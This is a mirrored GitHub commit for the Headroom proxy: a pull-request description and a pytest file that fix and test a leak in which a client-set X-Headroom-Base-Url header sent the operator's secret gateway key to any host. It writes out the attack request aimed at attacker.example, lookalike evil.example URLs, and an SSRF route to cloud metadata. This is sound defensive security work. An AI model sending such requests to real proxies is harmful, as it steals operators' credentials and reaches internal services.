mirror of
https://github.com/headroomlabs-ai/headroom.git
synced 2026-08-27 14:17:10 -04:00
## Description `x-headroom-base-url` lets a client choose the upstream for a single request — a deliberate, documented feature for routing to OpenAI-compatible gateways. `*_extra_headers` is operator-configured, marked `secret=True` in the settings store, and its own help text uses an API key as the example value. The two met in the wrong order: ``` openai.py:3127 headers = merge_extra_headers(headers, self.config.openai_extra_headers) openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(request.headers) ``` The secret was merged **before** the destination was resolved. So: ``` POST /v1/messages X-Headroom-Base-Url: https://attacker.example ``` reached the attacker's host **carrying the operator's gateway key**. One request, no user interaction, from anything able to reach the proxy port — a malicious postinstall script, a compromised transitive dep, a second agent session. Same shape on the Anthropic Messages route (`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose override resolves 300 lines later at `:5420`). Without `*_extra_headers` configured the same primitive is still a plain SSRF, but that is the pre-existing behavior of a documented feature; **this PR fixes the credential leak, not the routing.** ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret only travels to a host the operator designated: one of the resolved provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`. This is the rule `copilot_auth.is_copilot_upstream_url` already applies to Headroom's own Copilot token, generalized. - **`merge_extra_headers` now takes a required keyword-only `upstream_url`.** This is the actual fix. An optional parameter would have closed three call sites and left the tenth forwarder free to reintroduce the bug; a required one means a forwarder *cannot merge a secret without declaring where it goes*. All nine call sites updated — the three client-controllable ones pass the resolved override, the six config-derived ones pass `None`. - Undesignated upstreams are **still proxied**, just without the secret, and the refusal logs once per host (not per request) with the remedy in the message. - Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`. Matching is on the parsed hostname, never the URL string. Whole-string comparison lets `https://api.anthropic.com@evil.example` through, and makes a base URL match while base+path does not — that exact asymmetry is how a gate ends up covering routing but not the credential attach. Exact hostname equality, no wildcards. ## Testing - [x] Unit tests pass (`pytest`) - [x] Integration tests pass - [x] Manual testing performed ### Test Output ```text tests/test_upstream_credential_scoping.py 15 passed (new) Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"): 3340 passed, 163 skipped, 1 failed in 164.56s The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline ("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing: it fails identically on a clean origin/main worktree. ruff check: All checks passed ruff format --check: 7 files already formatted mypy headroom/proxy/upstream_trust.py: Success, no issues found ``` ## Real Behavior Proof - Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off `main`, `_core.abi3.so` copied in so the extension imports. - Exact command / steps: built the exploit as an end-to-end test — a `TestClient` app with `anthropic_extra_headers={"Api-Key": "corp-gateway-secret"}` and a capturing transport, then `POST /v1/messages` with `X-Headroom-Base-Url: https://attacker.example`, asserting on the headers the transport actually received. **Then disabled only the new gate (leaving the signature intact) to confirm the test reproduces the original vulnerability.** - Observed result: with the gate disabled the test fails with the secret visibly on the wire — ``` AssertionError: assert 'api-key' not in {..., 'api-key': 'corp-gateway-secret', ...} ``` With the gate restored, 15/15 pass. The companion test asserts the request still reached `attacker.example` and still carried the *client's* own `x-api-key`, so the fix withholds the operator's credential without breaking the routing feature or the client's auth. Lookalike hosts (`api.anthropic.com@evil.example`, `api.anthropic.com.evil.example`, scheme-less values, `://`) are covered by parametrized cases. - Not tested: no live upstream was contacted — all uses a capturing `httpx` transport. The WebSocket forwarders (`openai.py:6606`, `codex/live.py:131`) pass `upstream_url=None` because their destination is config-derived; that classification is verified by reading the callers (`_api_target(proxy, "openai")`, `codex_responses_websocket_url()`), not by a test. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: n/a - Stable/default behavior changed: **Yes, deliberately.** If an operator today configures `*_extra_headers` *and* routes via `x-headroom-base-url` to a host that is not a configured provider target, those headers stop being sent. That is the vulnerability, so the change is the point — but it is a real behavior change for that setup, which is why the log line names the host and the env var to fix it. - Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>` restores delivery for a named host. There is deliberately no global "off". - Unsafe override required: No. - Qualification impact: None. - Rollback path: Revert the commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Additional Notes Found during the same audit, **not fixed here** — each wants its own change: - **The plain SSRF remains by design.** With no `*_extra_headers` configured, a client can still make the proxy issue an arbitrary request to an arbitrary host (cloud metadata at `169.254.169.254`, internal admin panels) and read the response. Closing that means either an opt-in requirement for the header or private-IP blocking, and private-IP blocking would break the common local-gateway setup (LiteLLM on `127.0.0.1`). Worth a deliberate decision rather than a silent change here. - **CORS is the only thing keeping this off the web.** `x-headroom-base-url` is a non-simple header so it forces a preflight, and the default origin regex is loopback-only. Setting `HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web page. - The `/v1/*` data plane has no authentication for loopback callers even when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback), so "any local process" is the realistic attacker for all of the above. Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
248 lines
8.8 KiB
Python
248 lines
8.8 KiB
Python
"""The operator's own secrets must never follow a client-chosen upstream.
|
|
|
|
``x-headroom-base-url`` lets a client pick the upstream for a single request so
|
|
OpenAI-compatible gateways route through the dedicated handlers. That is a
|
|
feature and these tests do not remove it.
|
|
|
|
What they pin is the credential that used to ride along. ``*_extra_headers`` is
|
|
operator-configured and marked ``secret=True`` in the settings store — its own
|
|
help text uses an API key as the example. It was merged into the upstream-bound
|
|
headers *before* the destination was resolved, so:
|
|
|
|
POST /v1/messages
|
|
X-Headroom-Base-Url: https://attacker.example
|
|
|
|
reached the attacker's host carrying the operator's gateway key. One request, no
|
|
user interaction, from anything able to reach the proxy port.
|
|
|
|
The rule now is the one ``copilot_auth.is_copilot_upstream_url`` already applied
|
|
to Headroom's own Copilot token, generalized: a secret only travels to a host the
|
|
operator designated. Undesignated hosts still get proxied — just without the
|
|
secret.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import httpx
|
|
import pytest
|
|
|
|
pytest.importorskip("fastapi")
|
|
|
|
from fastapi.testclient import TestClient # noqa: E402
|
|
|
|
from headroom.proxy.helpers import merge_extra_headers # noqa: E402
|
|
from headroom.proxy.server import ProxyConfig, create_app # noqa: E402
|
|
from headroom.proxy.upstream_trust import ( # noqa: E402
|
|
ALLOWED_HOSTS_ENV,
|
|
is_trusted_upstream,
|
|
reset_warning_state,
|
|
url_host,
|
|
)
|
|
|
|
ATTACKER = "https://attacker.example"
|
|
GATEWAY_SECRET = {"Api-Key": "corp-gateway-secret"}
|
|
|
|
|
|
@pytest.fixture(autouse=True)
|
|
def _clear_warn_memo():
|
|
reset_warning_state()
|
|
yield
|
|
reset_warning_state()
|
|
|
|
|
|
class _Capturing(httpx.AsyncBaseTransport):
|
|
def __init__(self) -> None:
|
|
self.headers: dict[str, str] | None = None
|
|
self.url: str | None = None
|
|
|
|
async def handle_async_request(self, request: httpx.Request) -> httpx.Response:
|
|
async for _ in request.stream:
|
|
pass
|
|
self.headers = {k.lower(): v for k, v in request.headers.items()}
|
|
self.url = str(request.url)
|
|
return httpx.Response(
|
|
200,
|
|
json={
|
|
"id": "msg_1",
|
|
"type": "message",
|
|
"role": "assistant",
|
|
"content": [{"type": "text", "text": "ok"}],
|
|
"usage": {
|
|
"input_tokens": 10,
|
|
"output_tokens": 3,
|
|
"cache_read_input_tokens": 0,
|
|
"cache_creation_input_tokens": 0,
|
|
},
|
|
},
|
|
)
|
|
|
|
|
|
def _app(**overrides) -> tuple[TestClient, _Capturing]:
|
|
config = ProxyConfig(
|
|
optimize=False,
|
|
cache_enabled=False,
|
|
rate_limit_enabled=False,
|
|
cost_tracking_enabled=False,
|
|
log_requests=False,
|
|
ccr_inject_tool=False,
|
|
ccr_handle_responses=False,
|
|
ccr_context_tracking=False,
|
|
image_optimize=False,
|
|
anthropic_extra_headers=dict(GATEWAY_SECRET),
|
|
**overrides,
|
|
)
|
|
app = create_app(config)
|
|
transport = _Capturing()
|
|
app.state.proxy.http_client = httpx.AsyncClient(transport=transport)
|
|
return TestClient(app), transport
|
|
|
|
|
|
def _post(client: TestClient, base_url: str | None):
|
|
headers = {"x-api-key": "client-key", "anthropic-version": "2023-06-01"}
|
|
if base_url:
|
|
headers["x-headroom-base-url"] = base_url
|
|
return client.post(
|
|
"/v1/messages",
|
|
headers=headers,
|
|
json={
|
|
"model": "claude-sonnet-4-6",
|
|
"max_tokens": 16,
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
},
|
|
)
|
|
|
|
|
|
# --------------------------------------------------------------------------- #
|
|
# The reported vulnerability
|
|
# --------------------------------------------------------------------------- #
|
|
def test_operator_secret_does_not_follow_a_client_chosen_upstream() -> None:
|
|
"""The exploit: one header, and the gateway key went to the attacker."""
|
|
client, transport = _app()
|
|
|
|
resp = _post(client, ATTACKER)
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
assert transport.headers is not None
|
|
# The secret did NOT travel.
|
|
assert "api-key" not in transport.headers
|
|
assert GATEWAY_SECRET["Api-Key"] not in str(transport.headers)
|
|
|
|
|
|
def test_the_request_is_still_proxied_just_without_the_secret() -> None:
|
|
"""Failing closed on the credential, not on the request.
|
|
|
|
Withholding the header is the fix; refusing to proxy would be a different
|
|
(and breaking) product decision.
|
|
"""
|
|
client, transport = _app()
|
|
|
|
resp = _post(client, ATTACKER)
|
|
|
|
assert resp.status_code == 200
|
|
assert transport.url is not None and "attacker.example" in transport.url
|
|
# The client's own credential is untouched — only the operator's is scoped.
|
|
assert transport.headers is not None
|
|
assert transport.headers.get("x-api-key") == "client-key"
|
|
|
|
|
|
# --------------------------------------------------------------------------- #
|
|
# What must keep working
|
|
# --------------------------------------------------------------------------- #
|
|
def test_secret_still_reaches_the_configured_target() -> None:
|
|
"""No override -> the ordinary path is completely unchanged."""
|
|
client, transport = _app()
|
|
|
|
resp = _post(client, None)
|
|
|
|
assert resp.status_code == 200
|
|
assert transport.headers is not None
|
|
assert transport.headers.get("api-key") == GATEWAY_SECRET["Api-Key"]
|
|
|
|
|
|
def test_secret_reaches_an_override_that_matches_the_configured_target() -> None:
|
|
"""Pointing the override at the operator's own gateway is designated by definition."""
|
|
client, transport = _app(anthropic_api_url="https://corp-gw.internal")
|
|
|
|
resp = _post(client, "https://corp-gw.internal")
|
|
|
|
assert resp.status_code == 200
|
|
assert transport.headers is not None
|
|
assert transport.headers.get("api-key") == GATEWAY_SECRET["Api-Key"]
|
|
|
|
|
|
def test_operator_can_designate_extra_hosts_via_env(monkeypatch) -> None:
|
|
"""The escape hatch the warning message tells operators about."""
|
|
monkeypatch.setenv(ALLOWED_HOSTS_ENV, "attacker.example")
|
|
client, transport = _app()
|
|
|
|
resp = _post(client, ATTACKER)
|
|
|
|
assert resp.status_code == 200
|
|
assert transport.headers is not None
|
|
assert transport.headers.get("api-key") == GATEWAY_SECRET["Api-Key"]
|
|
|
|
|
|
# --------------------------------------------------------------------------- #
|
|
# Host matching — the ways this class of check fails open
|
|
# --------------------------------------------------------------------------- #
|
|
@pytest.mark.parametrize(
|
|
"hostile",
|
|
[
|
|
# userinfo trick: everything before '@' is credentials, not the host
|
|
"https://api.anthropic.com@evil.example/v1/messages",
|
|
# missing label boundary
|
|
"https://api.anthropic.com.evil.example/v1/messages",
|
|
# substring, not a host
|
|
"https://evil.example/?x=api.anthropic.com",
|
|
"https://notapi.anthropic.com.evil.example",
|
|
],
|
|
)
|
|
def test_lookalike_hosts_are_not_trusted(hostile: str) -> None:
|
|
assert is_trusted_upstream(hostile, None) is False
|
|
|
|
|
|
def test_base_url_and_base_plus_path_agree() -> None:
|
|
"""Compared by host, so adding a path cannot flip the verdict.
|
|
|
|
A whole-string comparison would say True for the base and False for
|
|
base+path, which is exactly how a gate ends up applying to routing but not
|
|
to the credential attach.
|
|
"""
|
|
for candidate in (
|
|
"https://api.anthropic.com",
|
|
"https://api.anthropic.com/",
|
|
"https://api.anthropic.com/v1/messages?beta=true",
|
|
):
|
|
assert is_trusted_upstream(candidate, None) is True
|
|
|
|
|
|
def test_scheme_less_host_is_still_parsed() -> None:
|
|
"""`urlparse` returns hostname=None without a scheme; that must not read as trusted."""
|
|
assert url_host("api.anthropic.com/v1") == "api.anthropic.com"
|
|
assert is_trusted_upstream("api.anthropic.com/v1", None) is True
|
|
assert is_trusted_upstream("evil.example/v1", None) is False
|
|
|
|
|
|
def test_unparseable_destination_is_refused() -> None:
|
|
assert is_trusted_upstream("://", None) is False
|
|
|
|
|
|
def test_no_override_means_trusted() -> None:
|
|
"""`None` is 'going to the configured target', not 'unknown'."""
|
|
assert is_trusted_upstream(None, None) is True
|
|
assert is_trusted_upstream("", None) is True
|
|
|
|
|
|
# --------------------------------------------------------------------------- #
|
|
# The helper contract
|
|
# --------------------------------------------------------------------------- #
|
|
def test_merge_requires_a_declared_destination() -> None:
|
|
"""`upstream_url` is keyword-only and required, so a new forwarder cannot
|
|
merge a secret without saying where it goes."""
|
|
with pytest.raises(TypeError):
|
|
merge_extra_headers({"a": "b"}, {"x": "y"}) # type: ignore[call-arg]
|
|
|
|
|
|
def test_merge_without_extras_is_a_passthrough_regardless_of_destination() -> None:
|
|
headers = {"a": "b"}
|
|
assert merge_extra_headers(headers, None, upstream_url=ATTACKER) is headers
|